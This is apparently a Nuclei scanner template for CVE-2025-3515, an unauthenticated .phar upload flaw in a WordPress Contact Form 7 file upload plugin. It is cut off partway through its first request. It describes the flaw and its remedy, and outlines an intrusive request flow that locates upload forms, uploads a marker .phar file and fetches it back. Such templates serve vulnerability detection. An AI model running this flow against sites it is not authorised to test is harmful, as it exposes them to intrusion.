id: CVE-2025-3515 info: name: Contact Form 7 Drag and Drop Multiple File Upload - Arbitrary File Upload author: hnd3884 severity: high description: | The Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in all versions up to, and including, 1.3.8.9. This makes it possible for unauthenticated attackers to bypass the plugin's blacklist and upload .phar or other dangerous file types on the affected site's server, which may make remote code execution possible on the servers that are configured to handle .phar files as executable PHP scripts, particularly in default Apache+mod_php configurations where the file extension is not strictly validated before being passed to the PHP interpreter. impact: | Unauthenticated attackers can upload dangerous file types like .phar by bypassing the blacklist, potentially achieving remote code execution on servers with default Apache+mod_php configurations. remediation: | Upgrade Contact Form 7 Drag and Drop Multiple File Upload plugin to version 1.3.9.0 or later that properly validates file extensions. reference: - https://nvd.nist.gov/vuln/detail/CVE-2025-3515 - https://plugins.trac.wordpress.org/changeset/3310153/ - https://www.wordfence.com/threat-intel/vulnerabilities/id/e1298242-61d2-495e-bae7-96b5e12bd03d classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: CVE-2025-3515 cwe-id: CWE-434 epss-score: 0.03698 epss-percentile: 0.88259 cpe: cpe:2.3:a:codedropz:drag_and_drop_multiple_file_upload_-_contact_form_7:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 4 vendor: codedropz product: drag_and_drop_multiple_file_upload_contact_form_7 publicwww-query: "wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/" tags: cve,cve2025,wordpress,wp,contact-form-7,file-upload,intrusive,vkev,vuln variables: phar_marker: "CVE-2025-3515-{{rand_base(8)}}" phar_file: "{{rand_base(5)}}" flow: | http('fetch_upload_name') && http('upload_file') && http('fetch_phar_file') || http('version_check') http: - id: fetch_upload_name method: GET path: - "{{BaseURL}}" - "{{BaseURL}}/contact/" - "{{BaseURL}}/contact-us/" - "{{BaseURL}}/submit/" - "{{BaseURL}}/support/" - "{{BaseURL}}/form/" - "{{BaseURL}}/get-in-touch/" stop-at-first-match: true matchers: - type: word part: body words: - "wpcf7-drag-n-drop-file" internal: true extractors: - type: regex name: upload_name group: 1 regex: - '